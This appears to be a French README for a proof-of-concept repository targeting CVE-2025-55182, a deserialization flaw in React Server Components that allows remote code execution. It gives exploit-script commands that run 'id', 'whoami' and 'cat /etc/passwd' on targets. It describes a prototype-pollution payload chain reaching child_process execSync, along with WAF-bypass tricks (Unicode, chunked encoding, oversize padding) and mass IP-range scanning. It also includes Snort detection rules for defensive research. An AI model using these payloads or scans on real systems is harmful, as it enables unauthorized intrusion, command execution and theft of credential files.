
CVE-2025-55182-POC
Collection d'outils d'exploitation et de détection pour la vulnérabilité de désérialisation non sécurisée dans React Server Components (RSC)
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - Code Server Action vulnérableexploit_advanced.py - Prend en charge plusieurs techniques d'attaque (Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py - Outil de diagnostic multi-ciblesrules_priority_based - Ensemble de règles Snort basées sur la prioritécd vulnerable-app
docker-compose up -d
# Vérifier l'accès à http://localhost:3000
# Test d'une URL unique
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# Scan par lots de plusieurs URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# Scan d'une plage IP
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# Lecture depuis un fichier
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# Attaque de base
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# Attaque avancée (chaîne de prototypes + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# Contournement WAF - encodage Unicode
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# Contournement WAF - encodage par transfert en morceaux (Chunked Transfer Encoding)
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# Contournement WAF - charge utile surdimensionnée (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# Tentative séquentielle de toutes les techniques
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# Capture du trafic d'attaque
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Analyse avec Snort
snort -c snort.conf -r attack.pcap -A console -k none
Envoi direct de la charge utile RSC Flight
# Appel direct à une Server Action
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
RCE via pollution de prototype (Prototype Pollution)
// Principe fondamental
{
"then": "$1:__proto__:then", // Déclenchement de Chunk.prototype.then
"_response": { // Injection d'une fausse réponse
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Accès au constructeur Function
}
Chaîne d'attaque :
__proto__ pour définir Chunk.prototype.then_response pour contrôler FormData$B appelle response._formData.get(id)constructor:constructor pour accéder à Functionprocess.mainModule.require('child_process').execSync(cmd)Répartition des motifs via Transfer-Encoding
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
Contournement de la limite de taille AWS WAF
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF : inspecte seulement les 8 premiers Ko
# Le code d'attaque réel est placé après les 8 Ko
process.mainModule.require + child_process + execSync__proto__ + resolved_model + module RCE/etc/passwd, /etc/shadow, .ssh/id_rsarequests
pip install requests
# URL unique
python3 rsc_vulnerability_checker_multi.py http://target.com
# URL multiples
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# Scan d'une plage IP (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# Scan d'une plage IP (tiret)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# Entrée/sortie fichiers
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Mode verbeux
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNÉRABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SÛR] http://example.com:3000 - Non vulnérable
[ERREUR] http://offline.com:3000 - Délai de connexion dépassé
--basic : Envoi direct de la charge utile RSC Flight--advanced : Chaîne de prototypes + technique thenable--chunked : Transfer-Encoding par morceaux--oversize <size> : Charge utile surdimensionnée (par défaut : 65536 octets)--all : Tentative séquentielle de toutes les techniques--waf-bypass : Encodage Unicode (constructor → \u0063onstructor)--chunked : Répartition des motifs--oversize : Contournement de la limite de taille AWS WAF-v, --verbose : Sortie détaillée-t, --timeout : Délai d'expiration de la requête (par défaut : 10 s)experimentalrules_priority_based)__proto__process.mainModule.require# Surveillance en temps réel avec Snort
snort -c snort.conf -i eth0 -A console
# Analyse de fichiers journaux
snort -c snort.conf -r network.pcap -A fast
Ce contenu est destiné uniquement à des fins de recherche, d'éducation et de validation de diagnostics, et ne doit pas être utilisé à d'autres fins.